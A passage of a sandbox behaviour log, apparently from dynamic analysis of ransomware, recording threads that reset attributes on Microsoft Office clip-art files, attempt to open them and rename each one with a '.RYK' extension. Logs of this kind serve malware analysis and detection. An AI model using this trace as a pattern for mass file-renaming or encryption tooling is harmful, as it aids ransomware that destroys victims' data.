	[0236.924] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1718
	os_tid = 0x2104

	[0236.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF", dwFileAttributes=0x80) returned 0
	[0236.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.926] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1719
	os_tid = 0x2108

	[0236.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG", dwFileAttributes=0x80) returned 0
	[0236.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.927] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1720
	os_tid = 0x210c

	[0236.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG", dwFileAttributes=0x80) returned 0
	[0236.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.928] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1721
	os_tid = 0x2110

	[0236.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG", dwFileAttributes=0x80) returned 0
	[0236.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.930] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.930] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1739
	os_tid = 0x2114

	[0236.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF", dwFileAttributes=0x80) returned 0
	[0236.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.932] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1740
	os_tid = 0x2118

	[0236.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF", dwFileAttributes=0x80) returned 0
	[0237.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.112] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1741
	os_tid = 0x211c

	[0236.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG", dwFileAttributes=0x80) returned 0
	[0236.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.935] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1742
	os_tid = 0x2120

	[0236.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG", dwFileAttributes=0x80) returned 0
	[0237.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.110] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1743
	os_tid = 0x2124

	[0236.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG", dwFileAttributes=0x80) returned 0
	[0237.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.109] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1744
	os_tid = 0x2128

	[0236.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG", dwFileAttributes=0x80) returned 0
	[0237.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.108] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1745
	os_tid = 0x212c

	[0236.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF", dwFileAttributes=0x80) returned 0
	[0237.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.107] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1746
	os_tid = 0x2130

	[0236.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF", dwFileAttributes=0x80) returned 0
	[0237.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.105] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.106] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1747
	os_tid = 0x2134

	[0236.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF", dwFileAttributes=0x80) returned 0
	[0237.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.104] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.104] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1748
	os_tid = 0x2138

	[0236.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF", dwFileAttributes=0x80) returned 0
	[0237.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.103] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1749
	os_tid = 0x213c

	[0236.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF", dwFileAttributes=0x80) returned 0
	[0237.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.102] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1750
	os_tid = 0x2140

	[0236.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF", dwFileAttributes=0x80) returned 0
	[0237.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.101] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1751
	os_tid = 0x2144

	[0237.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF", dwFileAttributes=0x80) returned 0
	[0237.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.369] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1753
	os_tid = 0x214c

	[0237.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF", dwFileAttributes=0x80) returned 0
	[0237.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.263] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.263] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1754
	os_tid = 0x2150

	[0237.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF", dwFileAttributes=0x80) returned 0
	[0237.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.261] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1755
	os_tid = 0x2154

	[0237.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF", dwFileAttributes=0x80) returned 0
	[0237.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1756
	os_tid = 0x2158

	[0237.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF", dwFileAttributes=0x80) returned 0
	[0237.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.535] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1757
	os_tid = 0x215c

	[0237.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF", dwFileAttributes=0x80) returned 0
	[0237.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.536] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1758
	os_tid = 0x2160

	[0237.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF", dwFileAttributes=0x80) returned 0
	[0237.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.537] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1759
	os_tid = 0x2164

	[0237.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF", dwFileAttributes=0x80) returned 0
	[0237.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.539] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1760
	os_tid = 0x2168

	[0237.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF", dwFileAttributes=0x80) returned 0
	[0237.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.540] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1761
	os_tid = 0x216c

	[0237.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF", dwFileAttributes=0x80) returned 0
	[0237.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.542] CloseHandle (hObject=0xffffffffffffffff) returned 0
